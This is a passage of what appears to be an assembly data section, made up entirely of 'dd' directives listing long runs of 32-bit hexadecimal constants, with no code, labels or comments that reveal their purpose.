		dd 0FD7C8B7Bh, 0B1C4C869h, 8D375C62h, 0E8DB6340h, 653998FFh
		dd 0DE6B836Eh, 7B5CFB62h, 7AB1E0ADh, 0F53C72A1h, 0F54E11A8h
		dd 618ED2F3h, 0AA9BA4D7h, 0D8300C84h, 0F7C84968h, 1F061032h
		dd 0DEF0E418h, 0FE0D0151h, 4F6A4230h, 0A4861C59h, 71F840Ah
		dd 0DA900D7Eh, 8492B28Dh, 25566FEh, 0E0973CCDh,	0F9502FC6h
		dd 4E611128h, 48C66B9Ch, 7C772ADBh, 4DEA051Bh, 16485A19h
		dd 0EE58B870h, 38DF2DA0h, 9B8793ABh, 48CDB650h,	0BE93590Dh
		dd 9C71FA5Dh, 5ADADFE0h, 0AB37585Eh, 7305CBE6h,	14167715h
		dd 0E0D7FFBFh, 567BE6Eh, 9FEE08CFh, 807534A4h, 0D292D463h
		dd 0B93F7694h, 6A60A3AAh, 1417986Eh, 96BC40F7h,	218202AFh
		dd 0CAF622EDh, 0D74DDEB8h, 1634A987h, 0F3999502h, 0A8B37A5Fh
		dd 3EC7D9FDh, 65F190CAh, 9AE8BAA9h, 69F29C37h, 2EBA62BEh
		dd 8A06D2F0h, 75C683B6h, 322F302h, 34B01687h, 7E67B091h
		dd 49F7D3F8h, 42ECC77Dh, 99DE6B70h, 196D3F0Ch, 1921E944h
		dd 0D8CFF446h, 2666BB0Ch, 797E5E53h, 0F4291467h, 76DFA42Dh
		dd 0B4A765DEh, 0A8F50CB3h, 0F2A7F84Eh, 5E6FAB39h, 9A313DEEh
		dd 5CADC260h, 0C8BBEB18h, 0F1DB5FA1h, 0BCD03903h, 606D40DFh
		dd 7F83F59Ch, 0E3F2E183h, 0E5D97545h, 6D4075ABh, 8A4C141Dh
		dd 3F4297E0h, 0DA58DF4Eh, 0EE188263h, 38EE0B9Eh, 3DAE461Ah
		dd 9F7E63E2h, 8C655B39h, 0B34020E3h, 239F6167h,	4911945h
		dd 46BB10D3h, 654CEBDAh, 58D75885h, 0F2E3014Ah,	0FAF0C05h
		dd 0C0AE5622h, 0F7922176h, 0EE431389h, 7337CBA4h, 24F14D33h
		dd 0C2D8E768h, 597418CCh, 68351CAEh, 1115316h, 1691AEE9h
		dd 847F52CFh, 334AE874h, 0B41451DAh, 23EEA3B7h,	0BE40FDECh
		dd 0FE23E8F5h, 88928DCBh, 2675CB28h, 91C1B229h,	0B1A0CCCCh
		dd 0CC0F0241h, 3D8D0ECCh, 916772E0h, 2EC460C8h,	86FDD6A3h
		dd 7A6EB81Bh, 87782C81h, 5555E6F3h, 932A6A96h, 6BB0DB62h
		dd 0A642613Dh, 0F60F631h, 1AE562F0h, 0F55270DBh, 7EF69F64h
		dd 65921096h, 8E10C39Fh, 2882F2A7h, 88855388h, 0C4B40D40h
		dd 365EA681h, 0F6DC9207h, 63927A7Fh, 8C967218h,	0FA2E433Eh
		dd 89076ACBh, 4F03F532h, 980595Ah, 5F0C6B90h, 0AAAF866h
		dd 5ADD1A17h, 83BAE9A2h, 80F1665Fh, 0B9035360h,	11D0074Fh
		dd 5E304A86h, 3901A92Dh, 6401CADFh, 0E4817EE2h,	897051F6h
		dd 91594CD4h, 66F4EF14h, 230C28E1h, 7A3A7AADh, 99D44E73h
		dd 0BBE60D04h, 0C0204BD4h, 48ED39E8h, 0B5D8F810h, 0BC396855h
		dd 0A000903Dh, 0C1AE114Bh, 246F1E9Ah, 65D3FD9Bh, 4FAA8EFFh
		dd 0B68464DEh, 0AE15D193h, 0D455F5F4h, 45DD9D44h, 4B77371Ch
		dd 0F91FD51h, 0AF862Dh,	0FD7B4765h, 11F388B3h, 0F1A6638Ah
		dd 0A02AB57h, 994DD0E4h, 99BDA209h, 33C55FAFh, 0F15A2236h
		dd 503E8498h, 0AA29E38Ah, 617983C0h, 5515ECC5h,	0A126B238h
		dd 9F6A40F6h, 2E3E9936h, 0B217AFEh, 0B18A788h, 0B856A274h
		dd 0C6621C6Fh, 32FD27F0h, 0D51A88A8h, 31CFA990h, 4FE94549h
		dd 20F28AA5h, 7C673B73h, 5644EBC5h, 9EDB7C45h, 8494FC13h
		dd 62A54A13h, 0AA426BEEh, 7B3E6A6Bh, 94D3BB81h,	3C8D391Bh
		dd 0DFEB3272h, 5D9A12F8h, 0B42CA293h, 227BACC8h, 598E2E7Ch
		dd 0ED241AF7h, 421859F7h, 55712346h, 3E23827Eh,	1F78A713h
		dd 1A957878h, 0D5B2B722h, 3FB827E9h, 7CF1D55h, 0E937F35Fh
		dd 0D0726E8Fh, 10C8812Bh
		dd 2FD13ACFh, 0B75D316Eh, 76173BF2h, 0E8AA8F5Dh, 29459A99h
		dd 0F66394E1h, 410AEECFh, 7FDA11CBh, 7B88141Fh,	7F87396Eh
		dd 8B4DF745h, 29919744h, 1A0CB58Fh, 2305F5Eh, 503060C0h
		dd 5FFAFh, 8DAD1E7Fh, 392D0E4Ch, 25E6B14Fh, 0C332B253h
		dd 0C786D844h, 5B2B7185h, 49CAA095h, 20992141h,	11A879C2h
		dd 0A5A4D60Eh, 9A6DDCD8h, 53889E24h, 0EE34E681h, 0E73243F1h
		dd 0BBA53059h, 0A1B2E0A3h, 0F07AEF88h, 0F4C38AF4h, 7BCA3DB9h
		dd 0EEB3672Ah, 7567FBE5h, 10337049h, 0F4B667E3h, 0D62E0269h
		dd 0D40D7372h, 8461FA51h, 6A016E10h, 0CC2467C3h, 6B677187h
		dd 80B3C488h, 4FF69AF3h, 5DC23F09h, 805AD320h, 16864CD7h
		dd 0FF6E6EDBh, 0E87CB26Ah, 8F55DC49h, 0E998BBECh, 8C683FD6h
		dd 92B7BCEDh, 0F580BFCDh, 16D7576Ah, 72A142DCh,	48C13088h
		dd 0ECFBF123h, 2DCA706Eh, 0F2E5614Ah, 0DE5E321Eh, 0C42C319Eh
		dd 8453FE81h, 0E057F877h, 22C84913h, 9B7D86D5h,	60DFD754h
		dd 0DA565C24h, 7A558EF0h, 6A458B71h, 0A7485CF7h, 0CE581F1Eh
		dd 91E11D75h, 0A24CAE09h, 0DAF94B72h, 0C60ABA60h, 3BDCD65Dh
		dd 7EB4B0B0h, 0EF464CEFh, 0F743D0CDh, 59D4B26Ch, 12EA9AFAh
		dd 2D4B70A3h, 0E30D980Ah, 42063F3Eh, 1B4B1190h,	2EE5F294h
		dd 0E5F2BD71h, 58B85B58h, 4DCE8941h, 317383C0h,	0C6E33108h
		dd 472A6CA7h, 2D7781F9h, 9717B8F3h, 99606676h, 5C7F0BBBh
		dd 0A6E51A6h, 0A106CCAFh, 0C7C5CCD5h, 0E7C15925h, 1D9F9188h
		dd 5F6F59EDh, 8F07508Ah, 97357E50h, 8B24061h, 0FE6C711Fh
		dd 0ED76EB0Ch, 4D879EC4h, 9C2197C1h, 0CB09367h,	393E08BDh
		dd 0C0D2276Ch, 173486A8h, 35CCB41Dh, 0DFA4B790h, 2C399727h
		dd 0BBF90F88h, 7FA088DBh, 2DC67A6Ah, 0D095D5F1h, 0A56B04DAh
		dd 8DF623D0h, 0EA6CD4C1h, 0CC4A0A91h, 772DCEDFh, 10FE4AACh
		dd 30160525h, 3C65B908h, 0D5BA139Ah, 5809ACAFh,	4F56B7A1h
		dd 58F14B0Eh, 0DB23E875h, 9093821Bh, 0E8CAA62Dh, 409F5AFEh
		dd 0CAE9E60Ah, 2C6525Ch, 4F1BA75Ah, 0C773460h, 136D14CAh
		dd 122433DCh, 0B0985E6Ch, 85C7BEBFh, 52156313h,	3F3C27A9h
		dd 2904503Fh, 98E0ACDDh, 0F4168073h, 3596EBFFh,	911FEB33h
		dd 210D746Eh, 8AD8BCEh,	9D07E280h, 0AFADCCC1h, 0EF670FADh
		dd 59CA16E2h, 56DBCBD6h, 0C0C79283h, 16478AAh, 7560013Bh
		dd 1524277Eh, 0AF93386Bh, 5F213F49h, 6F0D8460h,	0AF93DCEBh
		dd 3DC5D0D1h, 799C81D2h, 0FA3C4BFEh, 88312BA7h,	54F71869h
		dd 4326726h, 4612ECC8h,	0A62F47EDh, 0F7D984D4h,	0AAF95C84h
		dd 0A447001Bh, 2BBE3049h, 53A42058h, 0BA4726F7h, 4801196h
		dd 0AC4F687Fh, 736C9297h, 3B97E06Dh, 3273FB3Eh,	9838A5DEh
		dd 62519827h, 575B70DFh, 0BF087717h, 0C8FCF15h,	0A92910A9h
		dd 183DFC48h, 0C072FD0h, 1C23B55Fh, 0B8170AF3h,	0B01292E7h
		dd 0A0D7620Ah, 7BD08151h, 89CF90A1h, 1C7E12F1h,	7683E652h
		dd 0C2C14A93h, 0B0A790BEh, 6D76128Eh, 7363AE62h, 0E46779BAh
		dd 0FA7C7C2Fh, 1389D514h, 0EADA72E5h, 5189FC6Bh, 31AE4CDh
		dd 0F3FFBFA4h, 0AE372198h, 0A95C90CDh, 0B761D227h, 8851C58Dh
		dd 0A52BB1C2h, 5AA31B39h, 827480DEh, 5E0790C9h,	0E20C99AAh
		dd 1378736Bh, 47658FFBh, 95EC6117h, 52BB9BA7h, 0EF7E8DA3h
		dd 0ABCD739Eh, 44AFCC11h, 0E31795F4h, 8C22D9EFh, 71B8A73Eh
		dd 934C2913h, 5785D2DEh, 683FA0CBh, 57B033D9h, 9866B02Fh
		dd 0D4B3CFBAh, 33D4EC72h, 7320D6C8h, 0D82DCB4h,	0E57679CFh
		dd 0CF764601h, 0C32E2A7Bh, 0C4E7291Fh, 0AAEC8DBBh, 0F4DCCE4Bh
		dd 9BEEB710h, 0E0DB10B2h, 0A8982807h, 0C2F797D2h, 0AFBAB1B1h
		dd 24ECAF14h, 2DC8F568h, 3DFB32D3h, 439FF1B9h, 0E2971B9Eh
		dd 0F31D415Ch, 2D397C25h, 0A20602BDh, 2A4231C1h, 0EC7AF8EEh
		dd 11B0868Bh, 5D62EBEAh, 0D67DD64Fh, 276C65FEh,	79C7F9C7h
		dd 8E4F1C2Ah, 5942B6A4h, 7981742Bh, 1B0B0F92h, 59BD0D6Eh
		dd 3ACB8F06h, 7A32DC11h, 216919CCh, 4E60C85Ah, 547690DDh
		dd 0C4DADBD2h, 0C6147D0Ah, 51861AFFh, 1CA9BF66h, 0E5211B40h
		dd 82B6E1ECh, 0E8FA7C59h, 0BA4D5E41h, 8152E214h, 8C2E4694h
		dd 52E8B463h, 7DFABE3Ch, 0A188E141h, 887C85C8h,	0D0D5738Dh
		dd 5B784064h, 15B945E7h, 0F255136h, 1F757535h, 0B8299BD5h
		dd 94694F17h, 496001ECh, 3D505269h, 57D75FB1h, 6311854Ch
		dd 0CBDC20D9h, 0A07475F8h, 47F72E8Eh, 0F278CACFh, 0CD5F8A31h
		dd 2B0AB02Ah, 0D97886D5h, 8FB964EBh, 0E0959380h, 17E30412h
		dd 51DF2B4Bh, 0F7DF69F0h, 0CDC984D4h, 0DBACF9C1h, 8B809377h
		dd 0B49785EAh, 0D54886A1h, 153302B2h, 0A9DD0874h, 12F8BCDAh
		dd 6FAF430h, 0AC03D3EDh, 6D5DE8h, 6B4F762Dh, 4C4B1Ah, 8371811Bh
		dd 0A05EF949h, 2736BF3Ah, 3562DD41h, 0A5FA2AFEh, 7AC1FC6Fh
		dd 91DB45C4h, 0D4C0E84Dh, 4D82B33h, 96FD1EDCh, 0F72433C5h
		dd 0FD5C356Fh, 0B0E6377Ch, 0EB53E172h, 7EB69C78h, 5D0C2C4Dh
		dd 5B8FEED5h, 0AA9D89Ah, 43EEAE3Ch, 0E3CB3664h,	0AE7D3C36h
		dd 19FA9D13h, 5BEC7853h, 2CE3AB69h, 3FDEC628h, 691E16F9h
		dd 0C6BF79BFh, 16A07344h, 6E2EC9A5h, 0AE03E078h, 19E20CD3h
		dd 0AA435AF1h, 3EF07663h, 2D062F52h, 81FA1B34h,	363CDEB3h
		dd 4A3B2E2Ch, 0B3988729h, 0AD08DBB0h, 0B9E7DF8Fh, 0C36D794Ch
		dd 778DFC9Ah, 297B074Ch, 0B693D193h, 0A0406017h, 0DB16B0B6h
		dd 37D2954Eh, 6C39C5CDh, 94B4017Eh, 0B33A05D4h,	0CFE4D7DCh
		dd 0E04B3B8Dh, 26807F4Dh, 33C14DD7h, 4BCC0B45h,	908498C2h
		dd 96D08340h, 7686470h,	2F06049Ch, 0A2849495h, 0D225CB6Ah
		dd 6FA30F8Ch, 964C438Bh, 6EAC86F2h, 15D9AED3h, 0D978397Dh
		dd 0A4DDBADAh, 3881B6C5h, 17FC41E9h, 268A6394h,	9BB45E61h
		dd 337D6888h, 4D1D2A8Eh, 0CEC6D96Bh, 9AEC55A1h,	2D28D58Eh
		dd 1EA2560Ah, 2D0D276Ah, 3A3F8AB8h, 4B793B5Fh, 0B5B965AAh
		dd 43165B8Bh, 4D634DECh, 0EDA21E51h, 0A167DFF9h, 0D2489FFCh
		dd 0CE83494Bh, 86AFBh, 0F52EBAD9h, 81F0A760h, 39084815h
		dd 1A726D88h, 0F4CFCEC0h, 4C6E857Fh, 9A53FC20h,	6E1B4532h
		dd 0EB876AC9h, 4DA26AD3h, 3ADC8205h, 2E0ED5EFh,	0F11B8C68h
		dd 0AB636302h, 672B0A3Ah, 528CA24Dh, 8BE7B71Ah,	71B5C4EEh
		dd 770AC701h, 719ACB67h, 0A10A438Dh, 1B9E1174h,	93B875C2h
		dd 325752B9h, 0FA3F5920h, 106A4005h, 0B6BA86B2h, 0F7DE528Eh
		dd 0FE034442h, 78EF5F4Ch, 0F484B334h, 8B0EB3DBh, 0B009838h
		dd 56108BE4h, 0F1867A2Ch, 5F5FE6Ah, 849B29FAh, 0A89F8DFEh
		dd 882B9DA8h, 80D86B9Ch, 4194B533h, 2C91D7FFh, 0A56171DEh
		dd 4F6C3ACCh, 0AA0D6D66h, 6B59D863h, 850FDA1h, 4B77C750h
		dd 95AF6B35h, 76A5A42Dh, 0C7F07A9Fh, 0AA0BF106h, 0C9893CD1h
		dd 7B93176Ah, 19989970h, 0B28A5650h, 0F6946E28h, 0C2080C05h
		dd 0DD534C70h, 0F4A5F850h, 41A6F63Bh, 0EE3AA945h, 1640D40Fh
		dd 0E2DDD408h, 78655685h, 0FE4CEEA9h, 9E52ADF1h, 5D5B71DCh
		dd 176A36ABh, 0A8050E89h, 2CBA12B8h, 0C5A05798h, 0FB8DB4D8h
		dd 0E14A3253h, 4ED1875Eh, 0F33054EDh, 9301F409h, 9BFDD70h
		dd 5A9BC1h, 3BB6BF48h, 8775A407h, 404281EDh, 0C6BD5A27h
		dd 3677992h, 0FB667F84h, 0E25B4E47h, 955BBC97h,	0A4869353h
		dd 9FCB5AE8h, 31F2367Ah, 8E81B905h, 20457103h, 1913B834h
		dd 0E18F866Bh
		dd 0BFDCC97Ch, 5C95C84Dh, 10164B05h, 2A6BE956h,	0E08DDDEEh
		dd 69E35597h, 0CDB82FEBh, 6EDF7425h, 21DD194Ch,	0A050A101h
		dd 0F0D2473Ah, 3D824105h, 14C1B1DCh, 41C72DA2h,	3D6FC8E7h
		dd 0F7B9ACEEh, 89C74963h, 5C159602h, 3BEF2525h,	0E6E64F0Dh
		dd 0C336854Fh, 5AA9A446h, 0C2EB9559h, 0E4838C2Fh, 9DC6D2EAh
		dd 0F21EDCC5h, 5D603D42h, 0BB45B044h, 3891223Eh, 6F02E311h
		dd 5A49AC39h, 377B696Ah, 1B047733h, 11B91870h, 661A3A27h
		dd 7F7A42B7h, 0E04DB487h, 48986F09h, 99FCAC99h,	7AB6F777h
		dd 7880D91Dh, 4766F57Eh, 0EF0D15A0h, 619072F3h,	5EED0895h
		dd 7215D599h, 0DD8E5517h, 0F63F352h, 0AE4B21C4h, 12CD6ED6h
		dd 180DBD4Bh, 2A624CD7h, 30C6A262h, 0FED0E2Ah, 35F5CC79h
		dd 0C064EF77h, 0CADDE743h, 69A3E64Ch, 23460302h, 650CBA3Ch
		dd 0CC034C88h, 5EC71D5Ah, 1989549Fh, 571A0CF2h,	340D5E3Bh
		dd 3A2EDA6Bh, 3AD1AA4Eh, 2AB13DD2h, 96D1051Eh, 0D4A0F275h
		dd 0E5ABA4A3h, 6C405F0Fh, 1AF5C28h, 3DD63813h, 0B416409Dh
		dd 247AE209h, 67C6132Dh, 0EDD20D41h, 9B6D9372h,	3BCF1108h
		dd 0DF1A36A0h, 3E9D78C7h, 0F818DB9Dh, 0FD40DADDh, 7EE96A8Ah
		dd 0D2701E97h, 1ED69ACDh, 0AE958E89h, 0DB80F568h, 0C0FE6A2Eh
		dd 7E3476C6h, 93C49C6Ah, 951B644Ch, 417DE1F4h, 0A72FA894h
		dd 944D3384h, 96B4907h,	7F7F9DBCh, 3C4668AAh, 0EA9B3B09h
		dd 93F41309h, 0DA569784h, 0BD8836EBh, 9C10FA9h,	2A97EB9Dh
		dd 0B145979Ah, 0D3B5E512h, 0E3848DB6h, 40884C8Eh, 7AF8A8C2h
		dd 5D28B264h, 9A435E50h, 0AC675319h, 0AA491091h, 89EF62F4h
		dd 0AB07AF98h, 0E5567D1Ch, 533A17E8h, 1F9732F4h, 137CEE38h
		dd 0B3CAB14Ch, 2A94B9Eh, 290B29FFh, 0E833EE5Ah,	59D2C5C0h
		dd 37355F18h, 31960C4h,	59A7ADE8h, 246BB2B7h, 0C13DBA9Bh
		dd 0C2554F59h, 0AF165A9Eh, 11F16FC8h, 9F3AA9DFh, 36516A11h
		dd 0A2A825DCh, 82A529AAh, 7BBC51EAh, 0CB1BDBA1h, 38ED9A10h
		dd 0E3FD1DA7h, 1B7C2390h, 79BE8A01h, 0CDE7D39h,	7AF8E0A0h
		dd 9EB05BB0h, 78351875h, 0D34DAC8h, 0A071ED38h,	3AA1BE89h
		dd 5C1788FAh, 5C0966E0h, 5B4CDACAh, 0A17B8CBBh,	77080FE0h
		dd 14714168h, 0E1F341CFh, 87D70F68h, 0ECCCDB7Bh, 58125798h
		dd 0F939E132h, 0B79B41B9h, 2FE984C0h, 795D4003h, 32D8E04Bh
		dd 4D2C92B7h, 0C2FF9553h, 3E8E76E9h, 7CB01F57h,	458C7E0h
		dd 2A86E910h, 70F1100Ch, 5AFD0BF6h, 43361F0Dh, 4AAF0B1Bh
		dd 752105FFh, 508D9F40h, 216E4425h, 0C7F8B4D7h,	0EA357F54h
		dd 5AB17474h, 0C41C7CACh, 3DD41B7Ch, 0E7895A02h, 5988F45Ch
		dd 0DAFAD96h, 68BD070Eh, 48AC66EDh, 2B25FECAh, 8A496FE9h
		dd 34BBA2A5h, 85FDAD3Ah, 2814A002h, 31C838FDh, 0ABE2969Dh
		dd 5613E062h, 0CF255B76h, 0C8832D60h, 0F71B70D0h, 428EABEBh
		dd 32BF8786h, 7963FB46h, 456D054Bh, 0F373AD46h,	4F52A91Ah
		dd 815E9855h, 0DE41036Fh, 0F605683Fh, 37FF5D05h, 0B01BBF58h
		dd 1B6C3A5Dh, 61E3AB69h, 0CB199D13h, 634C41A1h,	73E182ADh
		dd 88097809h, 0BC2B29E9h, 1EBBC8C8h, 48818AD0h,	0BED0DD3Ch
		dd 0AFE47334h, 0F8655716h, 5B951F49h, 0FAF3AAFEh, 0C3DBA8F0h
		dd 0CD1CC90Ah, 0AA6B5E84h, 84FEE61Ah, 0F6FA39B9h, 4F83C450h
		dd 0AC0F7AAh, 495471AEh, 0EDC54E4h, 9E1F4D17h, 0B946FAF3h
		dd 0C2CE1B52h, 8A13F09Bh, 0F8A18D9Dh, 0BC1C5267h, 288F6CDh
		dd 0FD0A9A24h, 0AD5142A7h, 906AF3D5h, 0FBF69A07h, 0D3547605h
		dd 0BF92C8EEh, 989A4F2Fh, 0DBE11C19h, 0B0848ABAh, 2FD55511h
		dd 591DBB8Ch, 2881E2F3h, 902ED15Ch, 53E3D9C5h, 0EB29658Fh
		dd 9BCD2A7Ch, 0FBCCF840h, 7B40F3E5h, 90470BE5h,	4CD2FC25h
		dd 1FCABB76h, 2756D139h, 7BFC214Ah, 10708033h, 28B649D5h
		dd 5891683Dh, 4B098BAFh, 3FD06725h, 13E1D6EFh, 7E897ADCh
		dd 22B135A8h, 17FE559Fh, 26C4C4DDh, 4A35A6FDh, 0B7B24495h
		dd 0BFD7086Bh, 44D53150h, 17CF2760h, 0CBD7F3Dh,	430FE81Fh
		dd 7B5897EFh, 9484C2EBh, 0D62C6480h, 0CA850E48h, 75B4B2EBh
		dd 0CF924531h, 0C74ABC57h, 476FF9FCh, 4B6413E8h, 13FE88C8h
		dd 79D7A44Bh, 0F16DCAB6h, 1407DF68h, 0E113012h,	0DA6E7532h
		dd 915E4350h, 0CF1EEFE5h, 40FCEAD9h, 95229FA3h,	62E2D6CAh
		dd 1B5A3E63h, 915FC3BEh, 285D7B9h, 5914A2EDh, 40B4F10Eh
		dd 0D40D041Ch, 0F1ABCDFFh, 4DD1BCFBh, 0D7BC182Ah, 3B5F139Bh
		dd 0A88CED89h, 0FC250728h, 0CF3E3F03h, 57F25C43h, 2FD951BBh
		dd 0D146F464h, 0CECFC8AEh, 0E2F6BBB5h, 0C7D9BB7Ch, 5A98115Eh
		dd 0A39F78BDh, 2D805AB1h, 270551ECh, 0AF0B0998h, 0AC88FBDDh
		dd 0F134D957h, 45CEDBEFh, 0D1133272h, 0FAD48711h, 220D6C24h
		dd 0F5A03A74h, 7AA41CC1h, 0B16693B5h, 1D37EDD1h, 4C6AD35Bh
		dd 0C9E9BF63h, 8AFDF912h, 7DB0AD73h, 0A4C000D7h, 2962E6C0h
		dd 38CE9E13h, 0E6CEDC28h, 454F360Ah, 0C111B72Ah, 4849AB88h
		dd 0A266F002h, 0D653EBD8h, 82B2CDF1h, 95876225h, 2BD6E0CFh
		dd 0A042996h, 0B28430CFh, 44662D38h, 1639A52Dh,	8E36117h
		dd 9318621Ch, 3FB7E5B1h, 95C1429Eh, 2451E48Dh, 29CC6F7Eh
		dd 5F59DB95h, 40006245h, 9FECD0E9h, 29590822h, 0FF4BC51h
		dd 4CEFFCB5h, 686EAC4h,	0BD13D77Eh, 8D780E14h, 0D93A355Bh
		dd 0C7535F9h, 0D7E244B5h, 0F97D13C0h, 0AD6797CDh, 0D6AA6889h
		dd 0C62A5CE4h, 69E1BD05h, 7AD6E16Ch, 0F1D3BF98h, 0DD62335Dh
		dd 0C369F0BDh, 3792187Ah, 0A6E477BBh, 0B2EEAD50h, 1B309B20h
		dd 1E3FB9F5h, 48EC9A19h, 0D6BABDB5h, 55202DA7h,	6FEAE69Fh
		dd 721A5B97h, 3FB06D15h, 68C86FE1h, 0B5E0F693h,	0ACDFF1BBh
		dd 0EBEC2F3h, 0CDABC1A6h, 9AF581B7h, 0FDE37F91h, 599A3A68h
		dd 0FBD8A27Dh, 44B02CDDh, 7FC00A0Bh, 133F00E8h,	0F94166CEh
		dd 296667E3h, 0A808D2D2h, 0E377EE62h, 7A410E59h, 41499DE5h
		dd 7D34960Dh, 0D23C3F82h, 8CD935AAh, 0A7ED8328h, 0AC078406h
		dd 29272AFh, 89CF6D03h,	0D067120Dh, 4A654C40h, 0BF1FE9C2h
		dd 6BCB3D29h, 48BA16C1h, 8F5CAB91h, 2A30DC4h, 4F0F1C3Ah
		dd 6B5ACE02h, 6E2C7397h, 1BC962Eh, 62E1790Bh, 7E4C2663h
		dd 0C5441E17h, 0EA9D6B0h, 47524BF1h, 94F6FF0Eh,	657C6A9Ch
		dd 0E4EE3577h, 1F10968h, 0C6000E4Dh, 37778479h,	0E1DDAB07h
		dd 2E2D8D5Bh, 2ED5EB40h, 0E9CD306Ah, 0E195E0DEh, 0B0FDE1DDh
		dd 994BAA6Dh, 0B92F3D0Ch, 0B7BC4560h, 3BC64545h, 425D267Bh
		dd 40579E03h, 1089A370h, 0C9D7CA52h, 88E8AEC6h,	572625B5h
		dd 29582EFCh, 0B67D53E0h, 741B31CDh, 0D5D1D1Eh,	0C2959436h
		dd 5111E111h, 359F4685h, 306D7DAFh, 575B6610h, 1C384A24h
		dd 9ADA3B64h, 478C629h,	0D2A0D768h, 0C7B8354Dh,	64B93B9Ah
		dd 0DFF6EA2Eh, 0F1A99F33h, 8F821B1h, 3D21B705h,	9E53478Dh
		dd 0D05F4D44h, 12D5D44Eh, 0B4D402DFh, 0F32A689Eh, 32B0E873h
		dd 6EBC55D5h, 2CB85BEDh, 76251B39h, 0F0150D3Fh,	15040183h
		dd 0BB53026Ah, 0E3ECC2B5h, 3278E7F3h, 0E9F7AEA8h, 4556DABFh
		dd 78957951h, 960D865h,	562325B7h, 65FB4C1Ch, 0B6F597D2h
		dd 68A15D7Ah, 0B6DD0D43h, 1D08FB22h, 60FEC4FAh,	0C61F11C0h
		dd 8FCEAA93h, 5B75A76Eh, 3D99BE66h, 8E8DCC08h, 0D790F30Ah
		dd 7F7281D1h, 0DB522E75h, 4D91626Eh, 0EF0C1F0Eh, 9321432Fh
		dd 0C86A6699h, 0D881452Dh
		dd 0D6276606h, 7CD2388Ch, 2F6F4D97h, 0B17E277Ch, 4AB2208Ah
		dd 17317ABDh, 8DBA7DB0h, 66603DB8h, 0A334E69Bh,	630697B4h
		dd 5B5590F6h, 0A411E444h, 6632DF91h, 0D6637970h, 356F87D5h
		dd 2C3271CDh, 0B1DCAD6Bh, 7A0B8A4Fh, 4C805E10h,	14224B21h
		dd 4AE91CDDh, 0C6FD455Eh, 34F6B264h, 0A6BE81D2h, 7AB043DCh
		dd 1877AA4Bh, 0E0BBF626h, 0A0887F63h, 0F7667D1Ah, 9F1622E7h
		dd 3C91FB89h, 3FACCAF9h, 753C1A2Ch, 310BDB31h, 0E4891BBEh
		dd 0F2063FF8h, 41C24D77h, 85650F0Fh, 2E521EA0h,	0BD05A27Eh
		dd 98864100h, 1AF02BEDh, 0B88CFAF9h, 0E02162C1h, 3DEDA89Bh
		dd 18334553h, 102BD4E0h, 7552874Eh, 4261987Fh, 0FFE8F759h
		dd 0B5DEA4E1h, 0D7B15FD2h, 8E6026B7h, 40A6007h,	0A5706855h
		dd 74DD6693h, 649AD7D4h, 32D18A8Ch, 0E951B9C8h,	841F3DCDh
		dd 0D7B4F77Dh, 1E01490Dh, 0BE22BBD8h, 7B0D3FFDh, 0DCF0DACh
		dd 0BCC2E415h, 0E8A81FA5h, 9FBA42B3h, 0C8810C4h, 0E54D0B25h
		dd 0A2909C4Bh, 8418C47Fh, 4166BD94h, 0D8B35D0Dh, 0A0AE926h
		dd 0AFEB97CBh, 36DE5999h, 79E3DC8Dh, 0D5291069h, 0E3B08ED4h
		dd 0BC987A71h, 4B29F35Eh, 79321C2Fh, 0C1FA49B3h, 1C7A7963h
		dd 41E858AEh, 0CC19FF4Eh, 0E07DE3Ah, 1E6F1E94h,	0FDAE57AFh
		dd 0E24877FCh, 0AE8A4089h, 464B82D1h, 79662B78h, 0D666D2D2h
		dd 691ED3AFh, 2A60DAA2h, 6BC64E05h, 15189905h, 52AAE92Ch
		dd 8A6E97D5h, 80F05CA7h, 69AFB20Eh, 0D5C4CB66h,	0B0D2CBF0h
		dd 0F89BFB0Fh, 568F850Bh, 540F7C7Bh, 28A2B0D8h,	53088389h
		dd 6D5CE163h, 0EF79E2EBh, 9FE40508h, 3C45ED1Bh,	0B67D333Bh
		dd 0A29C185Dh, 6094479Fh, 80F810Fh, 8417C33Ch, 880C4055h
		dd 90FA3B2Fh, 7765B4C5h, 0FCAC4096h, 0C6A311E8h, 914184D8h
		dd 8A1BB06Dh, 0B2FDD671h, 6301B330h, 8E7B6B99h,	0D6281B42h
		dd 0A9F93B8Eh, 95ADB409h, 4E40CA1h, 5E76EAB8h, 572DD9C3h
		dd 0B4A95F1Eh, 0F39CF23Ch, 8FBDDDCBh, 88115A4Bh, 0E6CB12F3h
		dd 64AD1F52h, 76E67F7Ch, 0F52F6FA5h, 9732E55Bh,	0A493C75Dh
		dd 47F9FA2Eh, 2814A35Ah, 0C269B525h, 20FAD165h,	6681B334h
		dd 0BB1C1B6h, 9DBE1295h, 2B1BBC86h, 756CE606h, 765460F6h
		dd 1A81F99h, 0B54A6D12h, 727E39AFh, 972D4A3Ah, 436C0891h
		dd 0A743BE82h, 0F540F526h, 184E6A12h, 24C71922h, 0F551355Ch
		dd 0CB79D79Fh, 616B8D6Dh, 175D9D7Bh, 0C744148h,	6CC88F2Eh
		dd 78A2CC9Ah, 0FE1E96BEh, 9E04290Bh, 0E2E45EE1h, 68527020h
		dd 8CE077EDh, 0F0FC477Bh, 0FA6D5141h, 6E46F36Ah, 0A47F8287h
		dd 83F6E3D4h, 2CBBE355h, 1A257D8Ch, 0B15D84D1h,	0BF8288C2h
		dd 1BE9DE40h, 69872656h, 6E9324C6h, 0FF7230B2h,	8516D305h
		dd 48C0BB2h, 0F27472h, 0F3581C65h, 6E5FF72Eh, 9E616BC0h
		dd 0A43B3C8Bh, 3CB8AF46h, 0C10364CFh, 0E5D97002h, 9CB66C5h
		dd 6E9A3D8Eh, 8EBB318Ah, 39A36423h, 0C63AE744h,	585105CEh
		dd 6FE3A452h, 5CD04040h, 0D777C5C8h, 0B55952F0h, 0D1E9CC39h
		dd 4DE8EAA3h, 0D3F5F80Dh, 0AF01C2CFh, 0A1FBAEE9h, 7FC8114Fh
		dd 0F57E8610h, 8E60A5A9h, 0F76D46B0h, 0BE7A35B7h, 346654E8h
		dd 0EA01BB25h, 0DB3B11BDh, 3996E9E6h, 0A18D05C5h, 0DE0B974Eh
		dd 0F3A7938Dh, 598BCFEh, 3844B11Fh, 526E6A42h, 0FDD1CB1Eh
		dd 7EA0EF63h, 0FD3012C5h, 7682C46Fh, 1ECDEA75h,	991D150Bh
		dd 0AAAA100Dh, 0D963D2B1h, 2429EEBh, 0E2F0BD22h, 0B487815h
		dd 8F750596h, 0E64C6AAFh, 0E9B3D913h, 0D3F96C23h, 634CB16Fh
		dd 0B96FC81h, 4D0D31C4h, 3C1B1A00h, 64D2A4A4h, 50275365h
